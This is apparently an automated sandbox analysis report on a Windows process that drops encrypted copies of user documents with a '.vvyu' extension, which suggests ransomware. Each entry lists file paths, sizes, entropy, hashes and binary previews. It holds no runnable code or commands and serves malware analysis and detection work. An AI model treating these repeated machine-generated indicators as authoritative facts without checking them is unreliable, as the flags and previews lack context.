Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8262666029449015
Encrypted:	false
SSDEEP:	24:Fwz3LRt+CSBYbyn/5St9N4oUFUt9TWaWRejSoj50M7PP0Lttb6EDn7qkzzXeaJMI:Fwzbby0vePFS9GJWz7PPkttN7qkzzXeo
MD5:	5CB291506FC51855DA8E81E73F624908
SHA1:	6975F433E85F79980C79A56D57BFF1237CC5A886
SHA-256:	7A6FB59EA94623D3ADE1E5161E07F56575C4585E63D65BFB7BCDF0BDED2F0938
SHA-512:	92B88C0AA6D707CF462F1DF807E005C4D5CABC9F55D7570C47D4CCC52E1E6877D747640A8AC2A3050B24BE74C0241041BC80D4F1ED7A310289C481D66D7B8407
Malicious:	false
Preview:	NVWZA.....,.m.1....0rX.vFw{~}.q..=.5...0...k.Nb.G...h......\|O.p...:H..k.=.E.r.z.....AP...je.w..4.v.....T)x..........N.@....!z..._k....u..o...O.e.:....\|....E..Z........7.o\|..R.sB...SF....S..WF=......g......w[...L..4M...a..b.~X{..n.U....K..g..].....b.\|}[;e.8F.Bf..\..g...k.E.y...M/.....%.I\..s....>=...<.C!.4Q.a........i...E.A.T.n.......W6m..W'.......0..&....s9..WI....g.!HQ...h.&v.'...p..1LP...U.lk.H.E...VhJ...].....g..e..8...D..O..<........7..\|]...$..w..s....=..b...JN..!M"4z....8..M.....,.........=$...:.r.....U.../'..D.....PBR[...m..9.w:},'.{.....4.MN...b.......A."..L..w=E...U...M..........v..<.$..._<G....0.o..:..zG.7G....KKO.=...h.........R.f.\|.}....O..]............]oh6.T%..)...r...f..Sv.Z...{SdJ..3.Z^%.Cmi?.Y5...e..8@~..z......a...qq.wh.x?..]..p.^^..)..0~.j.....?..(.A..QN._.D.I.l..-......Jl .~...U......=x.4..{.zb.X..4.).......T...jb..Je._.F....>....GG...c.\..@........q.5`.Im.#yk.L3.N..6.B..>..l.z........Ej...J0...h.^

C:\Users\user\Desktop\BNAGMGSPLO\NVWZAPQSQL.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8262666029449015
Encrypted:	false
SSDEEP:	24:Fwz3LRt+CSBYbyn/5St9N4oUFUt9TWaWRejSoj50M7PP0Lttb6EDn7qkzzXeaJMI:Fwzbby0vePFS9GJWz7PPkttN7qkzzXeo
MD5:	5CB291506FC51855DA8E81E73F624908
SHA1:	6975F433E85F79980C79A56D57BFF1237CC5A886
SHA-256:	7A6FB59EA94623D3ADE1E5161E07F56575C4585E63D65BFB7BCDF0BDED2F0938
SHA-512:	92B88C0AA6D707CF462F1DF807E005C4D5CABC9F55D7570C47D4CCC52E1E6877D747640A8AC2A3050B24BE74C0241041BC80D4F1ED7A310289C481D66D7B8407
Malicious:	false
Preview:	NVWZA.....,.m.1....0rX.vFw{~}.q..=.5...0...k.Nb.G...h......\|O.p...:H..k.=.E.r.z.....AP...je.w..4.v.....T)x..........N.@....!z..._k....u..o...O.e.:....\|....E..Z........7.o\|..R.sB...SF....S..WF=......g......w[...L..4M...a..b.~X{..n.U....K..g..].....b.\|}[;e.8F.Bf..\..g...k.E.y...M/.....%.I\..s....>=...<.C!.4Q.a........i...E.A.T.n.......W6m..W'.......0..&....s9..WI....g.!HQ...h.&v.'...p..1LP...U.lk.H.E...VhJ...].....g..e..8...D..O..<........7..\|]...$..w..s....=..b...JN..!M"4z....8..M.....,.........=$...:.r.....U.../'..D.....PBR[...m..9.w:},'.{.....4.MN...b.......A."..L..w=E...U...M..........v..<.$..._<G....0.o..:..zG.7G....KKO.=...h.........R.f.\|.}....O..]............]oh6.T%..)...r...f..Sv.Z...{SdJ..3.Z^%.Cmi?.Y5...e..8@~..z......a...qq.wh.x?..]..p.^^..)..0~.j.....?..(.A..QN._.D.I.l..-......Jl .~...U......=x.4..{.zb.X..4.).......T...jb..Je._.F....>....GG...c.\..@........q.5`.Im.#yk.L3.N..6.B..>..l.z........Ej...J0...h.^

C:\Users\user\Desktop\BNAGMGSPLO\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836672042064459
Encrypted:	false
SSDEEP:	24:ATGRHAQuRoduRX+pSssO5V7ZLnqWYQ/Tvh4ra0bS+sJZhvc6NJ+50QwtDUwsbD:zuRodMXT65HTH/TpsfbJsGOe0TIwmD
MD5:	0A151723BD9EEE68044460BF6E9ED0AC
SHA1:	00D911FB04860ADC10F4E1FF00B5A4EDCE258208
SHA-256:	398702B5C9DF26CB91863AC157B28D34130676853BA8B87AD2F1A3D292C02D57
SHA-512:	D95B4A48310CDD58611B67D0F97CC38ECA1C3D927855345900592E7716B2A56F0FDF605F79DF5F1C29C6382DE7AC9DAEF089AEF43CBE0BB8B1B8585BB54CA167
Malicious:	false
Preview:	SQSJK.B..Y..._g.{.g..8......cQ.=f..6O4:p..K6.......A..Z"k.....n(gL..B 4...qE.v.l....<n.....C..WG=+.G......<.hd6'i.6.l.<...m8.!9..^VD..I.Z...tZ..BE...W/..Z${k.>.B..f..!.........{+.I..z..a-.,e.Z4.3....+t.zt .....ao....<H.3..q..,....P...a.-.>..\\f...%M..).....H=........k...<M%Z....r...6..:O.C..f.fe%.L6a..g..4.),mZ}....l.7x.2,.4T@...qb.6...e.I..Oh<.7......[eU.`.r.:oa .(....)... ..r..L.)...a. ........,..(.ob$...H...L.)..).v..d....It8{..Q.YK.M......6..+....%..x.....(.^8fJ..mKB.........(...n..j.JY.c.}..F.$.%.EZ...g......X.}g. .v.,...6.n....%+e..=.M..J..4...<..O#.Y?............eb.n.S..F6..R.J.ZK..4.....?.........p..#9.H.}O.N\...=..Q..Pc...5.].#\.>my.....S..u.~.N.M.5b.<....d./.>m.Z.@..O.].RV.{MH.......... @X].Q..$)M..j..K....G....1t...#...&.p...u.Hl........%.?r...s.."T.%4....4...[..u;.....j.U......x.W.z>......>hQ.!.........?ck........._...?I..-sc.f.%...e..wvP..UH...VQ.58.~..Z...~......n..$.".g...eY.1.i4$ .&..^......[G.;.K.g

C:\Users\user\Desktop\BNAGMGSPLO\SQSJKEBWDT.xlsx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836672042064459
Encrypted:	false
SSDEEP:	24:ATGRHAQuRoduRX+pSssO5V7ZLnqWYQ/Tvh4ra0bS+sJZhvc6NJ+50QwtDUwsbD:zuRodMXT65HTH/TpsfbJsGOe0TIwmD
MD5:	0A151723BD9EEE68044460BF6E9ED0AC
SHA1:	00D911FB04860ADC10F4E1FF00B5A4EDCE258208
SHA-256:	398702B5C9DF26CB91863AC157B28D34130676853BA8B87AD2F1A3D292C02D57
SHA-512:	D95B4A48310CDD58611B67D0F97CC38ECA1C3D927855345900592E7716B2A56F0FDF605F79DF5F1C29C6382DE7AC9DAEF089AEF43CBE0BB8B1B8585BB54CA167
Malicious:	false
Preview:	SQSJK.B..Y..._g.{.g..8......cQ.=f..6O4:p..K6.......A..Z"k.....n(gL..B 4...qE.v.l....<n.....C..WG=+.G......<.hd6'i.6.l.<...m8.!9..^VD..I.Z...tZ..BE...W/..Z${k.>.B..f..!.........{+.I..z..a-.,e.Z4.3....+t.zt .....ao....<H.3..q..,....P...a.-.>..\\f...%M..).....H=........k...<M%Z....r...6..:O.C..f.fe%.L6a..g..4.),mZ}....l.7x.2,.4T@...qb.6...e.I..Oh<.7......[eU.`.r.:oa .(....)... ..r..L.)...a. ........,..(.ob$...H...L.)..).v..d....It8{..Q.YK.M......6..+....%..x.....(.^8fJ..mKB.........(...n..j.JY.c.}..F.$.%.EZ...g......X.}g. .v.,...6.n....%+e..=.M..J..4...<..O#.Y?............eb.n.S..F6..R.J.ZK..4.....?.........p..#9.H.}O.N\...=..Q..Pc...5.].#\.>my.....S..u.~.N.M.5b.<....d./.>m.Z.@..O.].RV.{MH.......... @X].Q..$)M..j..K....G....1t...#...&.p...u.Hl........%.?r...s.."T.%4....4...[..u;.....j.U......x.W.z>......>hQ.!.........?ck........._...?I..-sc.f.%...e..wvP..UH...VQ.58.~..Z...~......n..$.".g...eY.1.i4$ .&..^......[G.;.K.g

C:\Users\user\Desktop\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.813278808985897
Encrypted:	false
SSDEEP:	24:kIspy2hcv80SH/OyubejAYowB6s88kFdqg95d3mhpeYXfE/jsbD:kIspluv80kDMrYowowQdqqT3mhFXfWj+
MD5:	3C829C169BA3EAF81B5BC335C24A6010
SHA1:	FA6EBA36670E85D338743DFE149E7862C1B393F9
SHA-256:	A771AF130AC8AE1A387C5120E3DAFBEF3FCD9E6BC949812EC047BEB699F6AC92
SHA-512:	1AA38FFB666BAFD62A0B3D4DB5DBCC74A1060AC420A47078E4C06F556F79F5EC26FC1C26B4252599FA085F41864306ADF25A38E16390D86271553F2FB44548CE
Malicious:	false
Preview:	DUUDTw.....q..t;..O....}..........T.........L..A..b.TTL......!.....<.J%m..Dv+..$.Qhi.3...9I.P...h.......V>.:\|.2....s.H..p4.qc....C..,.#o..}..../O.jx...Et....U...}z1....Fgq +.=..0a....q..X..=H.b......FAl.t7.....<...:...zr}..kTl.@.....e.STJJ....t:h..sq.. Hz...S.SP..:#.......fF.\..<v.{...(...].I=.m.J.\..>."...]!p..0I.y..@...`.F..#.....45&..Gs.4&..`.1Cy.U..e..v.:%UW]g..=$..G.u..a........=6..........k..7pN.rE\.K.~z2.N.....p.46&..}. .T.0....\..F.E43..^.z.../>E.u.L]....w.yGj.9AvZN...{..r.4...J...2C:x.Vdk.Ip.........%.o.........+..%q[B?.....Qb...k.".-.4.8.._..9..eZ..r..D.KGz.....b.c.x.V.IQ.g..N+R.U0..:.R.?9.........M.@:5:_..P...`.o.-.5..}..1Q.....\..c.!T`L<.=.....CG.)...N....G.......u..A.3....L...0.U....2r.Qt...,.z....,....>..b...TN.........E.`.'.x_....e(zx..e.z....z...6.Y....I...:iY..N..EY.1...e2r.1%F.....R...".}..jb.mF..lV.w.8.G.PV'B5.u.[...s.P..P.B.O,...:n-...<Ljc'1z...7...ii.p.H....0..9!..........)..<....M..yak.%.L\|`r..E.A...[.C.L....z..p..7$?.

C:\Users\user\Desktop\DUUDTUBZFW.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.813278808985897
Encrypted:	false
SSDEEP:	24:kIspy2hcv80SH/OyubejAYowB6s88kFdqg95d3mhpeYXfE/jsbD:kIspluv80kDMrYowowQdqqT3mhFXfWj+
MD5:	3C829C169BA3EAF81B5BC335C24A6010
SHA1:	FA6EBA36670E85D338743DFE149E7862C1B393F9
SHA-256:	A771AF130AC8AE1A387C5120E3DAFBEF3FCD9E6BC949812EC047BEB699F6AC92
SHA-512:	1AA38FFB666BAFD62A0B3D4DB5DBCC74A1060AC420A47078E4C06F556F79F5EC26FC1C26B4252599FA085F41864306ADF25A38E16390D86271553F2FB44548CE
Malicious:	false
Preview:	DUUDTw.....q..t;..O....}..........T.........L..A..b.TTL......!.....<.J%m..Dv+..$.Qhi.3...9I.P...h.......V>.:\|.2....s.H..p4.qc....C..,.#o..}..../O.jx...Et....U...}z1....Fgq +.=..0a....q..X..=H.b......FAl.t7.....<...:...zr}..kTl.@.....e.STJJ....t:h..sq.. Hz...S.SP..:#.......fF.\..<v.{...(...].I=.m.J.\..>."...]!p..0I.y..@...`.F..#.....45&..Gs.4&..`.1Cy.U..e..v.:%UW]g..=$..G.u..a........=6..........k..7pN.rE\.K.~z2.N.....p.46&..}. .T.0....\..F.E43..^.z.../>E.u.L]....w.yGj.9AvZN...{..r.4...J...2C:x.Vdk.Ip.........%.o.........+..%q[B?.....Qb...k.".-.4.8.._..9..eZ..r..D.KGz.....b.c.x.V.IQ.g..N+R.U0..:.R.?9.........M.@:5:_..P...`.o.-.5..}..1Q.....\..c.!T`L<.=.....CG.)...N....G.......u..A.3....L...0.U....2r.Qt...,.z....,....>..b...TN.........E.`.'.x_....e(zx..e.z....z...6.Y....I...:iY..N..EY.1...e2r.1%F.....R...".}..jb.mF..lV.w.8.G.PV'B5.u.[...s.P..P.B.O,...:n-...<Ljc'1z...7...ii.p.H....0..9!..........)..<....M..yak.%.L\|`r..E.A...[.C.L....z..p..7$?.

C:\Users\user\Desktop\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843403188020584
Encrypted:	false
SSDEEP:	24:duALvnh1v05TMZXuacKnysIoi/EASYb5fYHrDTCbnCc0sauMvNmssbD:VvhC5MtY0y9/EMb5OrKnCcXauu4smD
MD5:	03F25B126B8F79F90A2E029512678716
SHA1:	E0FA862EE800460555BBAC23FDC25D71D9A23387
SHA-256:	FFC3208EF056124E583F9274D7239841BA2AD8ECF589E9A8DADB4631AC4FF1DD
SHA-512:	E468C86499B9D8605EE28D866464B4B4AD6239EC0A55737DD37E656A74B51F2AF6B93D02569AFA425D8B8FC2F8E21C7D706BD1846F60619597737D8907D81377
Malicious:	false
Preview:	EEGWXE..]..ZK...9&W..'}..d.M..)F.....]....1.-.J..u.4.G5..w.. ......a....f.}..E..8..s...!=.N.(.%.=......"dX...WS...._.4$....../k...'....~.g.O..#.......T...Lm.}Y..%...dz9v;7..U.....h.h..B.CeK.i.......L.u...m...yw.P_.D../.F{.A....#..1.....bCY.....C..P.&.vj.G.(...n.2....&~...].1.\.2..>.:..+".Cwx:.6.......r\|.s...2.8.....a....L.).&a+87..T..S.Y...k9..T}...!.......Z.......~3.vsS...).y...3.Ig..0....n..B.........V.......(~.......sje..$.c./.Q...P..\|%........Bb7-..,.....\|_i{.....4.D..Y7........z.j..%.go+.#..kz.s...V...'...3{k.].Cz..B..P..69. ``........N.c.....X...b.S....%....C..%p..J.(Rp.^........Md..s0..ba..x.k.Y.T.L..2........Kj`_.....=^n...8...)..$....7.}r....s.(...e.MXO...z...Qu.;....<\v.....l.j..X..6......}...[R}[...sY{...Y...O._b.uO....% '...D/..@.5..O.e...3:.\.G....@<p.Zl..M^PXx.!.dx\.%...;..P.m]...\|......Y.X.......p\.....w.'gu..]..........}...}.._HhLX...].x^...E......o......g.r...^L...........`..C..W.......3yEk...md.v.pk...m..la..

C:\Users\user\Desktop\EEGWXUHVUG.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843403188020584
Encrypted:	false
SSDEEP:	24:duALvnh1v05TMZXuacKnysIoi/EASYb5fYHrDTCbnCc0sauMvNmssbD:VvhC5MtY0y9/EMb5OrKnCcXauu4smD
MD5:	03F25B126B8F79F90A2E029512678716
SHA1:	E0FA862EE800460555BBAC23FDC25D71D9A23387
SHA-256:	FFC3208EF056124E583F9274D7239841BA2AD8ECF589E9A8DADB4631AC4FF1DD
SHA-512:	E468C86499B9D8605EE28D866464B4B4AD6239EC0A55737DD37E656A74B51F2AF6B93D02569AFA425D8B8FC2F8E21C7D706BD1846F60619597737D8907D81377
Malicious:	false
Preview:	EEGWXE..]..ZK...9&W..'}..d.M..)F.....]....1.-.J..u.4.G5..w.. ......a....f.}..E..8..s...!=.N.(.%.=......"dX...WS...._.4$....../k...'....~.g.O..#.......T...Lm.}Y..%...dz9v;7..U.....h.h..B.CeK.i.......L.u...m...yw.P_.D../.F{.A....#..1.....bCY.....C..P.&.vj.G.(...n.2....&~...].1.\.2..>.:..+".Cwx:.6.......r\|.s...2.8.....a....L.).&a+87..T..S.Y...k9..T}...!.......Z.......~3.vsS...).y...3.Ig..0....n..B.........V.......(~.......sje..$.c./.Q...P..\|%........Bb7-..,.....\|_i{.....4.D..Y7........z.j..%.go+.#..kz.s...V...'...3{k.].Cz..B..P..69. ``........N.c.....X...b.S....%....C..%p..J.(Rp.^........Md..s0..ba..x.k.Y.T.L..2........Kj`_.....=^n...8...)..$....7.}r....s.(...e.MXO...z...Qu.;....<\v.....l.j..X..6......}...[R}[...sY{...Y...O._b.uO....% '...D/..@.5..O.e...3:.\.G....@<p.Zl..M^PXx.!.dx\.%...;..P.m]...\|......Y.X.......p\.....w.'gu..]..........}...}.._HhLX...].x^...E......o......g.r...^L...........`..C..W.......3yEk...md.v.pk...m..la..

C:\Users\user\Desktop\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849173703615068
Encrypted:	false
SSDEEP:	24:FqdunPWlrZTcIsvOMWdRtGuUnqpQ8uA1elN86cYPMZR/CGKvTJcX6hu4HjmYksbD:F+uPWFZTWOD0Jz8uuGtPeRqXbJcKrjk+
MD5:	CC3D53A04D1192735AEC0CDF6568D158
SHA1:	C95CB576FD4045FFEE39F2AE244587018B7573BD
SHA-256:	2FC6AFAFED5986E948AAB21E4070EF4E0FE41637234AAEDA6832522DB12CD577
SHA-512:	57F7B98CC36BA3C0A3F1B3105E01E796C9BAA44C58D24074BED561E014419F5817C40701568C4836626F10FEABFC7589FEE4E749E194C2F5717BBBEFE51E8675
Malicious:	false
Preview:	EEGWX.....Bo.&"F.........;.u...Je>..Cx...@N..0.(Q!...^...}F..5/O.f.F....m...\|.b.F.X.l+_..CI.]x...='.nB.Wj.....j..=AW..;.`.......6}....5.......@z.).>.N........6P(M8`.Q..".[.b...'=..~6G..k.....$&.. ...?\|.f.N].:.egB....>.O..z.!.....1.6.B8rSe5E.....P;P.+.{w."M....JUB..D.isje..1_,......b.'F.m.KFk......{.....4.9..3...A......(S...R..J.}N.....F.):Ub..ta!.....wT.l..G.(.......)r7l.x..E......~..." .d..z...:...A.CG].......4....$....'.O.7.hR.b.f...........u....t.H...E.z2.!`.J...;?Q..]%.)....nuCB(........ij...^a..(.\|.Ds ..]Y@....?.1d....~..^K..$..-....;?<.T8(..3B .a...z.....'..`.5.......]...<.^k.........W....B.....!a.K#h......{..u...[.....UF.=.H.hI..eI.X..~..U\^h.......f.....=.1.....8..:..w.....uC.rC...n5:...a..x..!..1qx...:.......4`..z....k.,?..v:4.E.)/.....x.V...^.L..x.P.rY..N~f.Q%.H.^N../31]T...n..+t.0.nF\|3...Ay-M......fv.t.].E/...l.....N...w.O.#...YGt..R...w.L(._..mSFi......B.8......}i...j=..T.T.[...\|..\..........{.+)T{\..'u-N...4.....E@>...

C:\Users\user\Desktop\EEGWXUHVUG.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849173703615068
Encrypted:	false
SSDEEP:	24:FqdunPWlrZTcIsvOMWdRtGuUnqpQ8uA1elN86cYPMZR/CGKvTJcX6hu4HjmYksbD:F+uPWFZTWOD0Jz8uuGtPeRqXbJcKrjk+
MD5:	CC3D53A04D1192735AEC0CDF6568D158
SHA1:	C95CB576FD4045FFEE39F2AE244587018B7573BD
SHA-256:	2FC6AFAFED5986E948AAB21E4070EF4E0FE41637234AAEDA6832522DB12CD577
SHA-512:	57F7B98CC36BA3C0A3F1B3105E01E796C9BAA44C58D24074BED561E014419F5817C40701568C4836626F10FEABFC7589FEE4E749E194C2F5717BBBEFE51E8675
Malicious:	false
Preview:	EEGWX.....Bo.&"F.........;.u...Je>..Cx...@N..0.(Q!...^...}F..5/O.f.F....m...\|.b.F.X.l+_..CI.]x...='.nB.Wj.....j..=AW..;.`.......6}....5.......@z.).>.N........6P(M8`.Q..".[.b...'=..~6G..k.....$&.. ...?\|.f.N].:.egB....>.O..z.!.....1.6.B8rSe5E.....P;P.+.{w."M....JUB..D.isje..1_,......b.'F.m.KFk......{.....4.9..3...A......(S...R..J.}N.....F.):Ub..ta!.....wT.l..G.(.......)r7l.x..E......~..." .d..z...:...A.CG].......4....$....'.O.7.hR.b.f...........u....t.H...E.z2.!`.J...;?Q..]%.)....nuCB(........ij...^a..(.\|.Ds ..]Y@....?.1d....~..^K..$..-....;?<.T8(..3B .a...z.....'..`.5.......]...<.^k.........W....B.....!a.K#h......{..u...[.....UF.=.H.hI..eI.X..~..U\^h.......f.....=.1.....8..:..w.....uC.rC...n5:...a..x..!..1qx...:.......4`..z....k.,?..v:4.E.)/.....x.V...^.L..x.P.rY..N~f.Q%.H.^N../31]T...n..+t.0.nF\|3...Ay-M......fv.t.].E/...l.....N...w.O.#...YGt..R...w.L(._..mSFi......B.8......}i...j=..T.T.[...\|..\..........{.+)T{\..'u-N...4.....E@>...

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825853439253717
Encrypted:	false
SSDEEP:	24:aj6cJ0nxaA9N7c+Yz1IpxYNLKGKeqRsONL0hlxT1VMzWjZtGL8lIPaRsbD:aOmA9NM6YBIRsONo5HMz6tGLIICRmD
MD5:	05EEE8C06E4DCA992E24CA4F132A2221
SHA1:	3B2D8097A2DE82B3424493AD54A06252365C02AD
SHA-256:	C7E22F20F22722345B6E0C88C9FC22A56A1586E2B855028B3120CAAD870EE2D7
SHA-512:	D9854C8AA774408B5A2A8869EAC00D9E62BD1DF878B3ED891000377864C2C674A5CC277AF690E3357131A7E44EF81B4CE1DB4A68CE1F9CDA07E8E59A8267B899
Malicious:	false
Preview:	BJZFP?O.I$.4...r<[.V...Lr6>....V .n.5.;..5Gd.sX..c.?.eaq...`..M,L.T..!.....K..P.FT[l....m.........4....._.\9o.].C.4F...]..d!.......;.%.!0...}LB.Y.9p.wD....v@..i.{..5..\|.\j....>_.8.......\..T(.3\..Z"....6.i.3!.[^....S....Ct{......X.A.k%._..T..L.t....Sf...t.:8...y.o.>..D.\|..lk.M..i.!.L.....0...)....I.!.u?,...jIk,....n...e.........U..B...k.[!.,..^.\.Ku:\|!vApv.a[.....Y...+.....,.fosID2.lwE.....&..{...l...9>....bV~....b....N.o............`.i.f...o.X.).+..il_..I%'J.. $.;...H.I1..-..)\.).Y.T..,..C.+..e....g..k(.n...!....@a.E..'V...-7.$\|..F.>...5..>`..3...r./.h.....d..@m$;imn..._\P.aP...XR.6SP.K,..oUR......d......v..WD.a.D...i]{.7.hK..^......#....3^..0..q$G...(`......T.CT..............n.H..0k./.'....I.:T,$%..Y.........Xn~.p..#y......{@..n..Z.......#i....+....m.._g...=+..'.B.d....aC.m."Z.q.v?>.........F.a.p.......4.HhA..0.z%}.o.3...F.B.s@.XCJt..C.%CN..;.^(TJ..WDEL.i..H..@\.....q.Q.......rX......(,....>...l.d/..a#..E....;....BE..G.!...J+..H.c.w.q.....*n<...

C:\Users\user\Desktop\EEGWXUHVUG\BJZFPPWAPT.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.825853439253717
Encrypted:	false
SSDEEP:	24:aj6cJ0nxaA9N7c+Yz1IpxYNLKGKeqRsONL0hlxT1VMzWjZtGL8lIPaRsbD:aOmA9NM6YBIRsONo5HMz6tGLIICRmD
MD5:	05EEE8C06E4DCA992E24CA4F132A2221
SHA1:	3B2D8097A2DE82B3424493AD54A06252365C02AD
SHA-256:	C7E22F20F22722345B6E0C88C9FC22A56A1586E2B855028B3120CAAD870EE2D7
SHA-512:	D9854C8AA774408B5A2A8869EAC00D9E62BD1DF878B3ED891000377864C2C674A5CC277AF690E3357131A7E44EF81B4CE1DB4A68CE1F9CDA07E8E59A8267B899
Malicious:	false
Preview:	BJZFP?O.I$.4...r<[.V...Lr6>....V .n.5.;..5Gd.sX..c.?.eaq...`..M,L.T..!.....K..P.FT[l....m.........4....._.\9o.].C.4F...]..d!.......;.%.!0...}LB.Y.9p.wD....v@..i.{..5..\|.\j....>_.8.......\..T(.3\..Z"....6.i.3!.[^....S....Ct{......X.A.k%._..T..L.t....Sf...t.:8...y.o.>..D.\|..lk.M..i.!.L.....0...)....I.!.u?,...jIk,....n...e.........U..B...k.[!.,..^.\.Ku:\|!vApv.a[.....Y...+.....,.fosID2.lwE.....&..{...l...9>....bV~....b....N.o............`.i.f...o.X.).+..il_..I%'J.. $.;...H.I1..-..)\.).Y.T..,..C.+..e....g..k(.n...!....@a.E..'V...-7.$\|..F.>...5..>`..3...r./.h.....d..@m$;imn..._\P.aP...XR.6SP.K,..oUR......d......v..WD.a.D...i]{.7.hK..^......#....3^..0..q$G...(`......T.CT..............n.H..0k./.'....I.:T,$%..Y.........Xn~.p..#y......{@..n..Z.......#i....+....m.._g...=+..'.B.d....aC.m."Z.q.v?>.........F.a.p.......4.HhA..0.z%}.o.3...F.B.s@.XCJt..C.%CN..;.^(TJ..WDEL.i..H..@\.....q.Q.......rX......(,....>...l.d/..a#..E....;....BE..G.!...J+..H.c.w.q.....*n<...

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834521659743148
Encrypted:	false
SSDEEP:	24:Kb77FoZccHqctQ2wPClBCoNOmIIg/sKVAMCx0o1AmLitbiB/N5zg8sbD:KbFGccHqMw6lAoNNI9AgCLLsb8/PmD
MD5:	A69402FE56D3033D2D30FAD359DB1C6F
SHA1:	0C8CE4C85415FB0D7CB61E590F0CB414FA426AC6
SHA-256:	0F0C2F688504E50452BDC3D52242FCE9208D903DD35F84F576E5A65E99732F1B
SHA-512:	D62EE2DDF1A00C1752EDF82ADC4EBB6B7D7ED0035E99030FDF62ED5D31FFDCAF419A22684EECD0244E369764A319BFAB3D61041D17BA64FB0DA634ABA814DAE0
Malicious:	false
Preview:	DUUDTQ....B..a...-0;.;..u.~%.M...=...'_..ip...n<2.vW...r..i.......L......\|....E..O2cm....G.z...w.(g.+....P....n....;8#.v..@...D9.#.;o.=.m.p.....lv...s..>$U.P.......bhD.(a..\..r.r... .D.A....-.'...`-.41).O;.......}.....g..9.'.\.G..?...\|.b~TI..w....N..>...Q.=x.[T.]...#.S.Q....;.d}.-.xK#..U........j.d..f.i.B..%...A0....$.M.4.....@.~.~...T.7.}".q....e!F.'`OEs5...V..\|....9Q..2m........6...q.D.F....~.@.b.X...X..8.f{..0.W/g].T...0.....bP..........d.g../g..Tg.;..X..V?..\|.;b...h8.b.......5...R...u(j... ......i....W.....ON....O..WA.Z..:...(..M.RB$.!.s..#..Y.e...z........X.W...H,i;..\X.).e.......h[ ...c.R9f.:.Ug^.uc..{j....~...>yH.C.7r.$.>H<z....,.-....q..............H....-}...L3.hy.......;..x....H.,..d.AA...+...h.\._.\.<o....`..Y....[8...$..I6.vX..1...[....a.!...>k.~&H.Bwm...$...l.yn.cP2.qR.......g.......4.=/U.G,..G.ZI.YRY..>\.=.,..j.....S.4.O..d....\.:....!..\..t:2w.mk6...?F..@.).<.F....U.-H..U?.......u.H;j....xx.....`Q.j..~.y..e^..bW.:!q.........8.x.v...

C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834521659743148
Encrypted:	false
SSDEEP:	24:Kb77FoZccHqctQ2wPClBCoNOmIIg/sKVAMCx0o1AmLitbiB/N5zg8sbD:KbFGccHqMw6lAoNNI9AgCLLsb8/PmD
MD5:	A69402FE56D3033D2D30FAD359DB1C6F
SHA1:	0C8CE4C85415FB0D7CB61E590F0CB414FA426AC6
SHA-256:	0F0C2F688504E50452BDC3D52242FCE9208D903DD35F84F576E5A65E99732F1B
SHA-512:	D62EE2DDF1A00C1752EDF82ADC4EBB6B7D7ED0035E99030FDF62ED5D31FFDCAF419A22684EECD0244E369764A319BFAB3D61041D17BA64FB0DA634ABA814DAE0
Malicious:	false
